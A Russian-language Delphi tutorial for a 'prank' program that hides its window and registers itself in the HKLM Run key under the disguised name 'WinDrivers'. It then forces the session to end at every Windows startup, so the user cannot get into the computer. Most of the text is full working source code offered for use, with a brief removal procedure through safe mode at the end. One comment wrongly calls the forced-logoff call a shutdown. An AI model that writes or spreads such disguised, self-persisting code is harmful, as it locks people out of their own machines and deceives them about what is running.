В этом уроке мы научимся создавать программу,
которая автоматически выключает компьютер при загрузке винды. Писать
будем на Delphi. Сначало подумаем чего мы хотим от программы и как
реализировать.
ЦЕЛИ
1. Программа должна выключать компьютер при загрузке Windows
1.1. Реализируется через реестр, а именно - его ключ автозагрузки
2. Праграмма должна быть незаметна для пользователя
2.2. Для этого нужно всего навсего не делать визуальной формы (подчёркиваю - визуальной, т.е. видимой для пользователя)
Так... С целями разобрались. Теперь создадим новый проэкт в Дельфи.
Прежде всего нужно сделать форму спрятаной от глаз пользователя. Можно
так же спрятать её из Менеджера Процессов... но это нужно для троянов,
в данном случае это нам не понадобится.
Итак, к делу. Project/Options (Проэкт/Опции), первое, что видим - два
окошка, в одном написано Form1, в другом - ничего. Жмём на Form1, а
затем на кнопке ">". Нажимаем ОК. Этим мы убрали форму из
автосоздаваемых. То есть, программа не будет её создавать
автоматически. Мы сами напишем код для её создания, но с нашими
параметрами (в нашем случае - параметрами скрытия). Сделаем это прямо
сейчас. Жмём Проэкт/Показать исходник, там вносим необходимые
изменения, чтоб код был такой:
program localzhuk; //я так назвал свою программу :) Это поле оставляем нетронутым
uses
Forms,
Windows, //Прописываем это
localzhuktxt in 'localzhuktxt.pas' {Form1};
{$R *.res}
var
h: THandle; //Делаем переменную-дескриптор. Нужно для отсчёта времени
begin
Application.Initialize;
ShowWindow(Application.Handle, SW_HIDE); //задаём параметры показа окна
Form1:=TForm1.Create(nil); //Создаём форму (будет невидимая, см. предыдущую строку)
Application.Run;
h:=CreateEvent(nil, true, false, 'et'); //Делаем пустое событие. Нужно для отсчёта времени
while (true) do //Пока не будет true
begin
WaitForSingleObject(h, 1000); //каждую секунду
Application.ProcessMessages; //передавать управление программе
end;
end.
Всё, с этим готово. Поразбирайте самостоятельно код - для лучшего
понимания. Теперь, щёлкнув два раза на форме, перенесёмся в редактор
кода (событие - создание формы). Пишем следующий код:
var
autorun: TRegIniFile; //делаем переменную реестровых данных (для работы с реестром)
begin
autorun:=TRegIniFile.Create('Run'); //инициализируем переменную
autorun.RootKey:=HKEY_LOCAL_MACHINE; //прописываем корневый ключ
autorun.OpenKey('SOFTWARE', true); //Открываем ключ
autorun.OpenKey('Microsoft', true); //Открываем ключ
autorun.OpenKey('Windows', true); //Открываем ключ
autorun.OpenKey('CurrentVersion', true); //Открываем ключ
autorun.WriteString('Run', 'WinDrivers', Application.ExeName); //создаем новый ключ в папке Run
//с названием WinDrivers
//и значением, которое равно пути к файлу программы
autorun.Free; //Закрываем переменную
ExitWindowsEx(EWX_FORCE, 0); //команда выключения компьютера
Мы использовали реестр, так что в глобальном разделе uses впишем Registry.
Надеюсь, с этим всё ясно. Сохраните, скомпилируйте. Теперь поговорим о
нейтрализации программы. Согласитесь, неприятно, если вы по ошибке
запустили эту программу-прикол на компьютере, а как нейтрализовать
незнаете. Если вы не можете включить компьютер изза этой программы,
загрузитесь в безорасном режиму (F8 при загрузке компа), нажмите
Пуск/Выполнить, введите Regedit. В открытом окне пройдите по адресу
HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun, найдите
ключ WinDrivers и сотрите его. Теперь спокойно запускайтесь в обычном
режиме. Кстати, работа с Regedit'ом поможет вам лучше понять код.
Надеюсь, этот урок поможет вам в написании программ, работающих с реестром. И, конечно, написании программ-приколов!